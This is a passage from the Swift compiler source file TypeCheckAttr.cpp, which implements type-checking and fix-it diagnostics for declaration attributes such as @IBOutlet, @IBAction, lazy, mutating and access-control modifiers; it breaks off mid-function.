text stringlengths 1 1.05M |
|---|
//===--- TypeCheckAttr.cpp - Type Checking for Attributes -----------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// This file implements semantic analysis for attributes.
//
//===----------------------------------------------------------------------===//
#include "MiscDiagnostics.h"
#include "TypeCheckAvailability.h"
#include "TypeCheckConcurrency.h"
#include "TypeCheckObjC.h"
#include "TypeCheckType.h"
#include "TypeChecker.h"
#include "swift/AST/ASTVisitor.h"
#include "swift/AST/ClangModuleLoader.h"
#include "swift/AST/DiagnosticsParse.h"
#include "swift/AST/GenericEnvironment.h"
#include "swift/AST/GenericSignatureBuilder.h"
#include "swift/AST/ImportCache.h"
#include "swift/AST/ModuleNameLookup.h"
#include "swift/AST/NameLookup.h"
#include "swift/AST/NameLookupRequests.h"
#include "swift/AST/ParameterList.h"
#include "swift/AST/PropertyWrappers.h"
#include "swift/AST/SourceFile.h"
#include "swift/AST/StorageImpl.h"
#include "swift/AST/TypeCheckRequests.h"
#include "swift/AST/Types.h"
#include "swift/Parse/Lexer.h"
#include "swift/Sema/IDETypeChecking.h"
#include "clang/Basic/CharInfo.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/Support/Debug.h"
using namespace swift;
namespace {
/// This emits a diagnostic with a fixit to remove the attribute.
template<typename ...ArgTypes>
void diagnoseAndRemoveAttr(DiagnosticEngine &Diags, Decl *D,
DeclAttribute *attr, ArgTypes &&...Args) {
assert(!D->hasClangNode() && "Clang importer propagated a bogus attribute");
if (!D->hasClangNode()) {
SourceLoc loc = attr->getLocation();
assert(loc.isValid() && "Diagnosing attribute with invalid location");
if (loc.isInvalid()) {
loc = D->getLoc();
}
if (loc.isValid()) {
Diags.diagnose(loc, std::forward<ArgTypes>(Args)...)
.fixItRemove(attr->getRangeWithAt());
}
}
attr->setInvalid();
}
/// This visits each attribute on a decl. The visitor should return true if
/// the attribute is invalid and should be marked as such.
class AttributeChecker : public AttributeVisitor<AttributeChecker> {
ASTContext &Ctx;
Decl *D;
public:
AttributeChecker(Decl *D) : Ctx(D->getASTContext()), D(D) {}
/// This emits a diagnostic with a fixit to remove the attribute.
template<typename ...ArgTypes>
void diagnoseAndRemoveAttr(DeclAttribute *attr, ArgTypes &&...Args) {
::diagnoseAndRemoveAttr(Ctx.Diags, D, attr,
std::forward<ArgTypes>(Args)...);
}
template <typename... ArgTypes>
InFlightDiagnostic diagnose(ArgTypes &&... Args) const {
return Ctx.Diags.diagnose(std::forward<ArgTypes>(Args)...);
}
/// Deleting this ensures that all attributes are covered by the visitor
/// below.
bool visitDeclAttribute(DeclAttribute *A) = delete;
#define IGNORED_ATTR(X) void visit##X##Attr(X##Attr *) {}
IGNORED_ATTR(AlwaysEmitIntoClient)
IGNORED_ATTR(HasInitialValue)
IGNORED_ATTR(ClangImporterSynthesizedType)
IGNORED_ATTR(Convenience)
IGNORED_ATTR(Effects)
IGNORED_ATTR(Exported)
IGNORED_ATTR(ForbidSerializingReference)
IGNORED_ATTR(HasStorage)
IGNORED_ATTR(HasMissingDesignatedInitializers)
IGNORED_ATTR(InheritsConvenienceInitializers)
IGNORED_ATTR(Inline)
IGNORED_ATTR(ObjCBridged)
IGNORED_ATTR(ObjCNonLazyRealization)
IGNORED_ATTR(ObjCRuntimeName)
IGNORED_ATTR(RawDocComment)
IGNORED_ATTR(RequiresStoredPropertyInits)
IGNORED_ATTR(RestatedObjCConformance)
IGNORED_ATTR(Semantics)
IGNORED_ATTR(ShowInInterface)
IGNORED_ATTR(SILGenName)
IGNORED_ATTR(StaticInitializeObjCMetadata)
IGNORED_ATTR(SynthesizedProtocol)
IGNORED_ATTR(Testable)
IGNORED_ATTR(WeakLinked)
IGNORED_ATTR(PrivateImport)
IGNORED_ATTR(DisfavoredOverload)
IGNORED_ATTR(ProjectedValueProperty)
IGNORED_ATTR(ReferenceOwnership)
IGNORED_ATTR(OriginallyDefinedIn)
IGNORED_ATTR(NoDerivative)
IGNORED_ATTR(SpecializeExtension)
#undef IGNORED_ATTR
void visitAlignmentAttr(AlignmentAttr *attr) {
// Alignment must be a power of two.
auto value = attr->getValue();
if (value == 0 || (value & (value - 1)) != 0)
diagnose(attr->getLocation(), diag::alignment_not_power_of_two);
}
void visitBorrowedAttr(BorrowedAttr *attr) {
// These criteria are the same preconditions laid out by
// AbstractStorageDecl::requiresOpaqueModifyCoroutine().
assert(!D->hasClangNode() && "@_borrowed on imported declaration?");
if (D->getAttrs().hasAttribute<DynamicAttr>()) {
diagnose(attr->getLocation(), diag::borrowed_with_objc_dynamic,
D->getDescriptiveKind())
.fixItRemove(attr->getRange());
D->getAttrs().removeAttribute(attr);
return;
}
auto dc = D->getDeclContext();
auto protoDecl = dyn_cast<ProtocolDecl>(dc);
if (protoDecl && protoDecl->isObjC()) {
diagnose(attr->getLocation(), diag::borrowed_on_objc_protocol_requirement,
D->getDescriptiveKind())
.fixItRemove(attr->getRange());
D->getAttrs().removeAttribute(attr);
return;
}
}
void visitTransparentAttr(TransparentAttr *attr);
void visitMutationAttr(DeclAttribute *attr);
void visitMutatingAttr(MutatingAttr *attr) { visitMutationAttr(attr); }
void visitNonMutatingAttr(NonMutatingAttr *attr) { visitMutationAttr(attr); }
void visitConsumingAttr(ConsumingAttr *attr) { visitMutationAttr(attr); }
void visitDynamicAttr(DynamicAttr *attr);
void visitIndirectAttr(IndirectAttr *attr) {
if (auto caseDecl = dyn_cast<EnumElementDecl>(D)) {
// An indirect case should have a payload.
if (!caseDecl->hasAssociatedValues())
diagnose(attr->getLocation(), diag::indirect_case_without_payload,
caseDecl->getBaseIdentifier());
// If the enum is already indirect, its cases don't need to be.
else if (caseDecl->getParentEnum()->getAttrs()
.hasAttribute<IndirectAttr>())
diagnose(attr->getLocation(), diag::indirect_case_in_indirect_enum);
}
}
void visitWarnUnqualifiedAccessAttr(WarnUnqualifiedAccessAttr *attr) {
if (!D->getDeclContext()->isTypeContext()) {
diagnoseAndRemoveAttr(attr, diag::attr_methods_only, attr);
}
}
void visitFinalAttr(FinalAttr *attr);
void visitIBActionAttr(IBActionAttr *attr);
void visitIBSegueActionAttr(IBSegueActionAttr *attr);
void visitLazyAttr(LazyAttr *attr);
void visitIBDesignableAttr(IBDesignableAttr *attr);
void visitIBInspectableAttr(IBInspectableAttr *attr);
void visitGKInspectableAttr(GKInspectableAttr *attr);
void visitIBOutletAttr(IBOutletAttr *attr);
void visitLLDBDebuggerFunctionAttr(LLDBDebuggerFunctionAttr *attr);
void visitNSManagedAttr(NSManagedAttr *attr);
void visitOverrideAttr(OverrideAttr *attr);
void visitNonOverrideAttr(NonOverrideAttr *attr);
void visitAccessControlAttr(AccessControlAttr *attr);
void visitSetterAccessAttr(SetterAccessAttr *attr);
void visitSPIAccessControlAttr(SPIAccessControlAttr *attr);
bool visitAbstractAccessControlAttr(AbstractAccessControlAttr *attr);
void visitObjCAttr(ObjCAttr *attr);
void visitNonObjCAttr(NonObjCAttr *attr);
void visitObjCMembersAttr(ObjCMembersAttr *attr);
void visitOptionalAttr(OptionalAttr *attr);
void visitAvailableAttr(AvailableAttr *attr);
void visitCDeclAttr(CDeclAttr *attr);
void visitDynamicCallableAttr(DynamicCallableAttr *attr);
void visitDynamicMemberLookupAttr(DynamicMemberLookupAttr *attr);
void visitNSCopyingAttr(NSCopyingAttr *attr);
void visitRequiredAttr(RequiredAttr *attr);
void visitRethrowsAttr(RethrowsAttr *attr);
void visitAtRethrowsAttr(AtRethrowsAttr *attr);
void checkApplicationMainAttribute(DeclAttribute *attr,
Identifier Id_ApplicationDelegate,
Identifier Id_Kit,
Identifier Id_ApplicationMain);
void visitNSApplicationMainAttr(NSApplicationMainAttr *attr);
void visitUIApplicationMainAttr(UIApplicationMainAttr *attr);
void visitMainTypeAttr(MainTypeAttr *attr);
void visitUnsafeNoObjCTaggedPointerAttr(UnsafeNoObjCTaggedPointerAttr *attr);
void visitSwiftNativeObjCRuntimeBaseAttr(
SwiftNativeObjCRuntimeBaseAttr *attr);
void checkOperatorAttribute(DeclAttribute *attr);
void visitInfixAttr(InfixAttr *attr) { checkOperatorAttribute(attr); }
void visitPostfixAttr(PostfixAttr *attr) { checkOperatorAttribute(attr); }
void visitPrefixAttr(PrefixAttr *attr) { checkOperatorAttribute(attr); }
void visitSpecializeAttr(SpecializeAttr *attr);
void visitFixedLayoutAttr(FixedLayoutAttr *attr);
void visitUsableFromInlineAttr(UsableFromInlineAttr *attr);
void visitInlinableAttr(InlinableAttr *attr);
void visitOptimizeAttr(OptimizeAttr *attr);
void visitDiscardableResultAttr(DiscardableResultAttr *attr);
void visitDynamicReplacementAttr(DynamicReplacementAttr *attr);
void visitTypeEraserAttr(TypeEraserAttr *attr);
void visitImplementsAttr(ImplementsAttr *attr);
void visitFrozenAttr(FrozenAttr *attr);
void visitCustomAttr(CustomAttr *attr);
void visitPropertyWrapperAttr(PropertyWrapperAttr *attr);
void visitResultBuilderAttr(ResultBuilderAttr *attr);
void visitImplementationOnlyAttr(ImplementationOnlyAttr *attr);
void visitNonEphemeralAttr(NonEphemeralAttr *attr);
void checkOriginalDefinedInAttrs(Decl *D, ArrayRef<OriginallyDefinedInAttr*> Attrs);
void visitDifferentiableAttr(DifferentiableAttr *attr);
void visitDerivativeAttr(DerivativeAttr *attr);
void visitTransposeAttr(TransposeAttr *attr);
void visitAsyncHandlerAttr(AsyncHandlerAttr *attr) {
auto func = dyn_cast<FuncDecl>(D);
if (!func) {
diagnoseAndRemoveAttr(attr, diag::asynchandler_non_func);
return;
}
// Trigger the request to check for @asyncHandler.
(void)func->isAsyncHandler();
}
void visitActorAttr(ActorAttr *attr) {
auto classDecl = dyn_cast<ClassDecl>(D);
if (!classDecl)
return; // already diagnosed
(void)classDecl->isActor();
}
void visitActorIndependentAttr(ActorIndependentAttr *attr) {
// @actorIndependent can be applied to global and static/class variables
// that do not have storage.
auto dc = D->getDeclContext();
if (auto var = dyn_cast<VarDecl>(D)) {
// @actorIndependent is meaningless on a `let`.
if (var->isLet()) {
diagnoseAndRemoveAttr(attr, diag::actorindependent_let);
return;
}
// @actorIndependent can not be applied to stored properties, unless if
// the 'unsafe' option was specified
if (var->hasStorage()) {
switch (attr->getKind()) {
case ActorIndependentKind::Safe:
diagnoseAndRemoveAttr(attr, diag::actorindependent_mutable_storage);
return;
case ActorIndependentKind::Unsafe:
break;
}
}
// @actorIndependent can not be applied to local properties.
if (dc->isLocalContext()) {
diagnoseAndRemoveAttr(attr, diag::actorindependent_local_var);
return;
}
// If this is a static or global variable, we're all set.
if (dc->isModuleScopeContext() ||
(dc->isTypeContext() && var->isStatic())) {
return;
}
}
if (auto VD = dyn_cast<ValueDecl>(D)) {
(void)getActorIsolation(VD);
}
}
void visitGlobalActorAttr(GlobalActorAttr *attr) {
auto nominal = dyn_cast<NominalTypeDecl>(D);
if (!nominal)
return; // already diagnosed
(void)nominal->isGlobalActor();
}
void visitAsyncAttr(AsyncAttr *attr) {
auto var = dyn_cast<VarDecl>(D);
if (!var)
return;
auto patternBinding = var->getParentPatternBinding();
if (!patternBinding)
return; // already diagnosed
// "Async" modifier can only be applied to local declarations.
if (!patternBinding->getDeclContext()->isLocalContext()) {
diagnoseAndRemoveAttr(attr, diag::async_let_not_local);
return;
}
// Check each of the pattern binding entries.
bool diagnosedVar = false;
for (unsigned index : range(patternBinding->getNumPatternEntries())) {
auto pattern = patternBinding->getPattern(index);
// Look for variables bound by this pattern.
bool foundAnyVariable = false;
bool isLet = true;
pattern->forEachVariable([&](VarDecl *var) {
if (!var->isLet())
isLet = false;
foundAnyVariable = true;
});
// Each entry must bind at least one named variable, so that there is
// something to "await".
if (!foundAnyVariable) {
diagnose(pattern->getLoc(), diag::async_let_no_variables);
attr->setInvalid();
return;
}
// Async can only be used on an "async let".
if (!isLet && !diagnosedVar) {
diagnose(patternBinding->getLoc(), diag::async_not_let)
.fixItReplace(patternBinding->getLoc(), "let");
diagnosedVar = true;
}
// Each pattern entry must have an initializer expression.
if (patternBinding->getEqualLoc(index).isInvalid()) {
diagnose(pattern->getLoc(), diag::async_let_not_initialized);
attr->setInvalid();
return;
}
}
}
};
} // end anonymous namespace
void AttributeChecker::visitTransparentAttr(TransparentAttr *attr) {
DeclContext *dc = D->getDeclContext();
// Protocol declarations cannot be transparent.
if (isa<ProtocolDecl>(dc))
diagnoseAndRemoveAttr(attr, diag::transparent_in_protocols_not_supported);
// Class declarations cannot be transparent.
if (isa<ClassDecl>(dc)) {
// @transparent is always ok on implicitly generated accessors: they can
// be dispatched (even in classes) when the references are within the
// class themself.
if (!(isa<AccessorDecl>(D) && D->isImplicit()))
diagnoseAndRemoveAttr(attr, diag::transparent_in_classes_not_supported);
}
if (auto *VD = dyn_cast<VarDecl>(D)) {
// Stored properties and variables can't be transparent.
if (VD->hasStorage())
diagnoseAndRemoveAttr(attr, diag::attribute_invalid_on_stored_property,
attr);
}
}
void AttributeChecker::visitMutationAttr(DeclAttribute *attr) {
FuncDecl *FD = cast<FuncDecl>(D);
SelfAccessKind attrModifier;
switch (attr->getKind()) {
case DeclAttrKind::DAK_Consuming:
attrModifier = SelfAccessKind::Consuming;
break;
case DeclAttrKind::DAK_Mutating:
attrModifier = SelfAccessKind::Mutating;
break;
case DeclAttrKind::DAK_NonMutating:
attrModifier = SelfAccessKind::NonMutating;
break;
default:
llvm_unreachable("unhandled attribute kind");
}
auto DC = FD->getDeclContext();
// mutation attributes may only appear in type context.
if (auto contextTy = DC->getDeclaredInterfaceType()) {
// 'mutating' and 'nonmutating' are not valid on types
// with reference semantics.
if (contextTy->hasReferenceSemantics()) {
if (attrModifier != SelfAccessKind::Consuming) {
diagnoseAndRemoveAttr(attr, diag::mutating_invalid_classes,
attrModifier, FD->getDescriptiveKind(),
DC->getSelfProtocolDecl() != nullptr);
}
}
} else {
diagnoseAndRemoveAttr(attr, diag::mutating_invalid_global_scope,
attrModifier);
}
// Verify we don't have more than one of mutating, nonmutating,
// and __consuming.
if ((FD->getAttrs().hasAttribute<MutatingAttr>() +
FD->getAttrs().hasAttribute<NonMutatingAttr>() +
FD->getAttrs().hasAttribute<ConsumingAttr>()) > 1) {
if (auto *NMA = FD->getAttrs().getAttribute<NonMutatingAttr>()) {
if (attrModifier != SelfAccessKind::NonMutating) {
diagnoseAndRemoveAttr(NMA, diag::functions_mutating_and_not,
SelfAccessKind::NonMutating, attrModifier);
}
}
if (auto *MUA = FD->getAttrs().getAttribute<MutatingAttr>()) {
if (attrModifier != SelfAccessKind::Mutating) {
diagnoseAndRemoveAttr(MUA, diag::functions_mutating_and_not,
SelfAccessKind::Mutating, attrModifier);
}
}
if (auto *CSA = FD->getAttrs().getAttribute<ConsumingAttr>()) {
if (attrModifier != SelfAccessKind::Consuming) {
diagnoseAndRemoveAttr(CSA, diag::functions_mutating_and_not,
SelfAccessKind::Consuming, attrModifier);
}
}
}
// Verify that we don't have a static function.
if (FD->isStatic())
diagnoseAndRemoveAttr(attr, diag::static_functions_not_mutating);
}
void AttributeChecker::visitDynamicAttr(DynamicAttr *attr) {
// Members cannot be both dynamic and @_transparent.
if (D->getAttrs().hasAttribute<TransparentAttr>())
diagnoseAndRemoveAttr(attr, diag::dynamic_with_transparent);
}
static bool
validateIBActionSignature(ASTContext &ctx, DeclAttribute *attr,
const FuncDecl *FD, unsigned minParameters,
unsigned maxParameters, bool hasVoidResult = true) {
bool valid = true;
auto arity = FD->getParameters()->size();
auto resultType = FD->getResultInterfaceType();
if (arity < minParameters || arity > maxParameters) {
auto diagID = diag::invalid_ibaction_argument_count;
if (minParameters == maxParameters)
diagID = diag::invalid_ibaction_argument_count_exact;
else if (minParameters == 0)
diagID = diag::invalid_ibaction_argument_count_max;
ctx.Diags.diagnose(FD, diagID, attr->getAttrName(), minParameters,
maxParameters);
valid = false;
}
if (resultType->isVoid() != hasVoidResult) {
ctx.Diags.diagnose(FD, diag::invalid_ibaction_result, attr->getAttrName(),
hasVoidResult);
valid = false;
}
// We don't need to check here that parameter or return types are
// ObjC-representable; IsObjCRequest will validate that.
if (!valid)
attr->setInvalid();
return valid;
}
static bool isiOS(ASTContext &ctx) {
return ctx.LangOpts.Target.isiOS();
}
static bool iswatchOS(ASTContext &ctx) {
return ctx.LangOpts.Target.isWatchOS();
}
static bool isRelaxedIBAction(ASTContext &ctx) {
return isiOS(ctx) || iswatchOS(ctx);
}
void AttributeChecker::visitIBActionAttr(IBActionAttr *attr) {
// Only instance methods can be IBActions.
const FuncDecl *FD = cast<FuncDecl>(D);
if (!FD->isPotentialIBActionTarget()) {
diagnoseAndRemoveAttr(attr, diag::invalid_ibaction_decl,
attr->getAttrName());
return;
}
if (isRelaxedIBAction(Ctx))
// iOS, tvOS, and watchOS allow 0-2 parameters to an @IBAction method.
validateIBActionSignature(Ctx, attr, FD, /*minParams=*/0, /*maxParams=*/2);
else
// macOS allows 1 parameter to an @IBAction method.
validateIBActionSignature(Ctx, attr, FD, /*minParams=*/1, /*maxParams=*/1);
}
void AttributeChecker::visitIBSegueActionAttr(IBSegueActionAttr *attr) {
// Only instance methods can be IBActions.
const FuncDecl *FD = cast<FuncDecl>(D);
if (!FD->isPotentialIBActionTarget())
diagnoseAndRemoveAttr(attr, diag::invalid_ibaction_decl,
attr->getAttrName());
if (!validateIBActionSignature(Ctx, attr, FD,
/*minParams=*/1, /*maxParams=*/3,
/*hasVoidResult=*/false))
return;
// If the IBSegueAction method's selector belongs to one of the ObjC method
// families (like -newDocumentSegue: or -copyScreen), it would return the
// object at +1, but the caller would expect it to be +0 and would therefore
// leak it.
//
// To prevent that, diagnose if the selector belongs to one of the method
// families and suggest that the user change the Swift name or Obj-C selector.
auto currentSelector = FD->getObjCSelector();
SmallString<32> prefix("make");
switch (currentSelector.getSelectorFamily()) {
case ObjCSelectorFamily::None:
// No error--exit early.
return;
case ObjCSelectorFamily::Alloc:
case ObjCSelectorFamily::Init:
case ObjCSelectorFamily::New:
// Fix-it will replace the "alloc"/"init"/"new" in the selector with "make".
break;
case ObjCSelectorFamily::Copy:
// Fix-it will replace the "copy" in the selector with "makeCopy".
prefix += "Copy";
break;
case ObjCSelectorFamily::MutableCopy:
// Fix-it will replace the "mutable" in the selector with "makeMutable".
prefix += "Mutable";
break;
}
// Emit the actual error.
diagnose(FD, diag::ibsegueaction_objc_method_family, attr->getAttrName(),
currentSelector);
// The rest of this is just fix-it generation.
/// Replaces the first word of \c oldName with the prefix, where "word" is a
/// sequence of lowercase characters.
auto replacingPrefix = [&](Identifier oldName) -> Identifier {
SmallString<32> scratch = prefix;
scratch += oldName.str().drop_while(clang::isLowercase);
return Ctx.getIdentifier(scratch);
};
// Suggest changing the Swift name of the method, unless there is already an
// explicit selector.
if (!FD->getAttrs().hasAttribute<ObjCAttr>() ||
!FD->getAttrs().getAttribute<ObjCAttr>()->hasName()) {
auto newSwiftBaseName = replacingPrefix(FD->getBaseIdentifier());
auto argumentNames = FD->getName().getArgumentNames();
DeclName newSwiftName(Ctx, newSwiftBaseName, argumentNames);
auto diag = diagnose(FD, diag::fixit_rename_in_swift, newSwiftName);
fixDeclarationName(diag, FD, newSwiftName);
}
// Suggest changing just the selector to one with a different first piece.
auto oldPieces = currentSelector.getSelectorPieces();
SmallVector<Identifier, 4> newPieces(oldPieces.begin(), oldPieces.end());
newPieces[0] = replacingPrefix(newPieces[0]);
ObjCSelector newSelector(Ctx, currentSelector.getNumArgs(), newPieces);
auto diag = diagnose(FD, diag::fixit_rename_in_objc, newSelector);
fixDeclarationObjCName(diag, FD, currentSelector, newSelector);
}
void AttributeChecker::visitIBDesignableAttr(IBDesignableAttr *attr) {
if (auto *ED = dyn_cast<ExtensionDecl>(D)) {
if (auto nominalDecl = ED->getExtendedNominal()) {
if (!isa<ClassDecl>(nominalDecl))
diagnoseAndRemoveAttr(attr, diag::invalid_ibdesignable_extension);
}
}
}
void AttributeChecker::visitIBInspectableAttr(IBInspectableAttr *attr) {
// Only instance properties can be 'IBInspectable'.
auto *VD = cast<VarDecl>(D);
if (!VD->getDeclContext()->getSelfClassDecl() || VD->isStatic())
diagnoseAndRemoveAttr(attr, diag::invalid_ibinspectable,
attr->getAttrName());
}
void AttributeChecker::visitGKInspectableAttr(GKInspectableAttr *attr) {
// Only instance properties can be 'GKInspectable'.
auto *VD = cast<VarDecl>(D);
if (!VD->getDeclContext()->getSelfClassDecl() || VD->isStatic())
diagnoseAndRemoveAttr(attr, diag::invalid_ibinspectable,
attr->getAttrName());
}
static Optional<Diag<bool,Type>>
isAcceptableOutletType(Type type, bool &isArray, ASTContext &ctx) {
if (type->isObjCExistentialType() || type->isAny())
return None; // @objc existential types are okay
auto nominal = type->getAnyNominal();
if (auto classDecl = dyn_cast_or_null<ClassDecl>(nominal)) {
if (classDecl->isObjC())
return None; // @objc class types are okay.
return diag::iboutlet_nonobjc_class;
}
if (nominal == ctx.getStringDecl()) {
// String is okay because it is bridged to NSString.
// FIXME: BridgesTypes.def is almost sufficient for this.
return None;
}
if (nominal == ctx.getArrayDecl()) {
// Arrays of arrays are not allowed.
if (isArray)
return diag::iboutlet_nonobject_type;
isArray = true;
// Handle Array<T>. T must be an Objective-C class or protocol.
auto boundTy = type->castTo<BoundGenericStructType>();
auto boundArgs = boundTy->getGenericArgs();
assert(boundArgs.size() == 1 && "invalid Array declaration");
Type elementTy = boundArgs.front();
return isAcceptableOutletType(elementTy, isArray, ctx);
}
if (type->isExistentialType())
return diag::iboutlet_nonobjc_protocol;
// No other types are permitted.
return diag::iboutlet_nonobject_type;
}
void AttributeChecker::visitIBOutletAttr(IBOutletAttr *attr) {
// Only instance properties can be 'IBOutlet'.
auto *VD = cast<VarDecl>(D);
if (!VD->getDeclContext()->getSelfClassDecl() || VD->isStatic())
diagnoseAndRemoveAttr(attr, diag::invalid_iboutlet);
if (!VD->isSettable(nullptr)) {
// Allow non-mutable IBOutlet properties in module interfaces,
// as they may have been private(set)
SourceFile *Parent = VD->getDeclContext()->getParentSourceFile();
if (!Parent || Parent->Kind != SourceFileKind::Interface)
diagnoseAndRemoveAttr(attr, diag::iboutlet_only_mutable);
}
// Verify that the field type is valid as an outlet.
auto type = VD->getType();
if (VD->isInvalid())
return;
// Look through ownership types, and optionals.
type = type->getReferenceStorageReferent();
bool wasOptional = false;
if (Type underlying = type->getOptionalObjectType()) {
type = underlying;
wasOptional = true;
}
bool isArray = false;
if (auto isError = isAcceptableOutletType(type, isArray, Ctx))
diagnoseAndRemoveAttr(attr, isError.getValue(),
/*array=*/isArray, type);
// If the type wasn't optional, an array, or unowned, complain.
if (!wasOptional && !isArray) {
diagnose(attr->getLocation(), diag::iboutlet_non_optional, type);
auto typeRange = VD->getTypeSourceRangeForDiagnostics();
{ // Only one diagnostic can be active at a time.
auto diag = diagnose(typeRange.Start, diag::note_make_optional,
OptionalType::get(type));
if (type->hasSimpleTypeRepr()) {
diag.fixItInsertAfter(typeRange.End, "?");
} else {
diag.fixItInsert(typeRange.Start, "(")
.fixItInsertAfter(typeRange.End, ")?");
}
}
{ // Only one diagnostic can be active at a time.
auto diag = diagnose(typeRange.Start,
diag::note_make_implicitly_unwrapped_optional);
if (type->hasSimpleTypeRepr()) {
diag.fixItInsertAfter(typeRange.End, "!");
} else {
diag.fixItInsert(typeRange.Start, "(")
.fixItInsertAfter(typeRange.End, ")!");
}
}
}
}
void AttributeChecker::visitNSManagedAttr(NSManagedAttr *attr) {
// @NSManaged only applies to instance methods and properties within a class.
if (cast<ValueDecl>(D)->isStatic() ||
!D->getDeclContext()->getSelfClassDecl()) {
diagnoseAndRemoveAttr(attr, diag::attr_NSManaged_not_instance_member);
}
if (auto *method = dyn_cast<FuncDecl>(D)) {
// Separate out the checks for methods.
if (method->hasBody())
diagnoseAndRemoveAttr(attr, diag::attr_NSManaged_method_body);
return;
}
// Everything below deals with restrictions on @NSManaged properties.
auto *VD = cast<VarDecl>(D);
// @NSManaged properties cannot be @NSCopying
if (auto *NSCopy = VD->getAttrs().getAttribute<NSCopyingAttr>())
diagnoseAndRemoveAttr(NSCopy, diag::attr_NSManaged_NSCopying);
}
void AttributeChecker::
visitLLDBDebuggerFunctionAttr(LLDBDebuggerFunctionAttr *attr) {
// This is only legal when debugger support is on.
if (!D->getASTContext().LangOpts.DebuggerSupport)
diagnoseAndRemoveAttr(attr, diag::attr_for_debugger_support_only);
}
void AttributeChecker::visitOverrideAttr(OverrideAttr *attr) {
if (!isa<ClassDecl>(D->getDeclContext()) &&
!isa<ProtocolDecl>(D->getDeclContext()) &&
!isa<ExtensionDecl>(D->getDeclContext()))
diagnoseAndRemoveAttr(attr, diag::override_nonclass_decl);
}
void AttributeChecker::visitNonOverrideAttr(NonOverrideAttr *attr) {
if (auto overrideAttr = D->getAttrs().getAttribute<OverrideAttr>())
diagnoseAndRemoveAttr(overrideAttr, diag::nonoverride_and_override_attr);
if (!isa<ClassDecl>(D->getDeclContext()) &&
!isa<ProtocolDecl>(D->getDeclContext()) &&
!isa<ExtensionDecl>(D->getDeclContext())) {
diagnoseAndRemoveAttr(attr, diag::nonoverride_wrong_decl_context);
}
}
void AttributeChecker::visitLazyAttr(LazyAttr *attr) {
// lazy may only be used on properties.
auto *VD = cast<VarDecl>(D);
auto attrs = VD->getAttrs();
// 'lazy' is not allowed to have reference attributes
if (auto *refAttr = attrs.getAttribute<ReferenceOwnershipAttr>())
diagnoseAndRemoveAttr(attr, diag::lazy_not_strong, refAttr->get());
auto varDC = VD->getDeclContext();
// 'lazy' is not allowed on a global variable or on a static property (which
// are already lazily initialized).
// TODO: we can't currently support lazy properties on non-type-contexts.
if (VD->isStatic() ||
(varDC->isModuleScopeContext() &&
!varDC->getParentSourceFile()->isScriptMode())) {
diagnoseAndRemoveAttr(attr, diag::lazy_on_already_lazy_global);
} else if (!VD->getDeclContext()->isTypeContext()) {
diagnoseAndRemoveAttr(attr, diag::lazy_must_be_property);
}
}
bool AttributeChecker::visitAbstractAccessControlAttr(
AbstractAccessControlAttr *attr) {
// Access control attr may only be used on value decls and extensions.
if (!isa<ValueDecl>(D) && !isa<ExtensionDecl>(D)) {
diagnoseAndRemoveAttr(attr, diag::invalid_decl_modifier, attr);
return true;
}
if (auto extension = dyn_cast<ExtensionDecl>(D)) {
if (!extension->getInherited().empty()) {
diagnoseAndRemoveAttr(attr, diag::extension_access_with_conformances,
attr);
return true;
}
}
// And not on certain value decls.
if (isa<DestructorDecl>(D) || isa<EnumElementDecl>(D)) {
diagnoseAndRemoveAttr(attr, diag::invalid_decl_modifier, attr);
return true;
}
// Or within protocols.
if (isa<ProtocolDecl>(D->getDeclContext())) {
diagnoseAndRemoveAttr(attr, diag::access_control_in_protocol, attr);
diagnose(attr->getLocation(), diag::access_control_in_protocol_detail);
return true;
}
return false;
}
void AttributeChecker::visitAccessControlAttr(AccessControlAttr *attr) {
visitAbstractAccessControlAttr(attr);
if (auto extension = dyn_cast<ExtensionDecl>(D)) {
if (attr->getAccess() == AccessLevel::Open) {
diagnose(attr->getLocation(), diag::access_control_extension_open)
.fixItReplace(attr->getRange(), "public");
attr->setInvalid();
return;
}
NominalTypeDecl *nominal = extension->getExtendedNominal();
// Extension is ill-formed; suppress the attribute.
if (!nominal) {
attr->setInvalid();
return;
}
AccessLevel typeAccess = nominal->getFormalAccess();
if (attr->getAccess() > typeAccess) {
diagnose(attr->getLocation(), diag::access_control_extension_more,
typeAccess, nominal->getDescriptiveKind(), attr->getAccess())
.fixItRemove(attr->getRange());
attr->setInvalid();
return;
}
} else if (auto extension = dyn_cast<ExtensionDecl>(D->getDeclContext())) {
AccessLevel maxAccess = extension->getMaxAccessLevel();
if (std::min(attr->getAccess(), AccessLevel::Public) > maxAccess) {
// FIXME: It would be nice to say what part of the requirements actually
// end up being problematic.
auto diag = diagnose(attr->getLocation(),
diag::access_control_ext_requirement_member_more,
attr->getAccess(),
D->getDescriptiveKind(),
maxAccess);
swift::fixItAccess(diag, cast<ValueDecl>(D), maxAccess);
return;
}
if (auto extAttr =
extension->getAttrs().getAttribute<AccessControlAttr>()) {
AccessLevel defaultAccess = extension->getDefaultAccessLevel();
if (attr->getAccess() > defaultAccess) {
auto diag = diagnose(attr->getLocation(),
diag::access_control_ext_member_more,
attr->getAccess(),
extAttr->getAccess());
// Don't try to fix this one; it's just a warning, and fixing it can
// lead to diagnostic fights between this and "declaration must be at
// least this accessible" checking for overrides and protocol
// requirements.
} else if (attr->getAccess() == defaultAccess) {
diagnose(attr->getLocation(),
diag::access_control_ext_member_redundant,
attr->getAccess(),
D->getDescriptiveKind(),
extAttr->getAccess())
.fixItRemove(attr->getRange());
}
}
}
if (attr->getAccess() == AccessLevel::Open) {
if (!isa<ClassDecl>(D) && !D->isPotentiallyOverridable() &&
!attr->isInvalid()) {
diagnose(attr->getLocation(), diag::access_control_open_bad_decl)
.fixItReplace(attr->getRange(), "public");
attr->setInvalid();
}
}
}
void AttributeChecker::visitSetterAccessAttr(
SetterAccessAttr *attr) {
auto storage = dyn_cast<AbstractStorageDecl>(D);
if (!storage)
diagnoseAndRemoveAttr(attr, diag::access_control_setter, attr->getAccess());
if (visitAbstractAccessControlAttr(attr))
return;
if (!storage->isSettable(storage->getDeclContext())) {
// This must stay in sync with diag::access_control_setter_read_only.
enum {
SK_Constant = 0,
SK_Variable,
SK_Property,
SK_Subscript
} storageKind;
if (isa<SubscriptDecl>(storage))
storageKind = SK_Subscript;
else if (storage->getDeclContext()->isTypeContext())
storageKind = SK_Property;
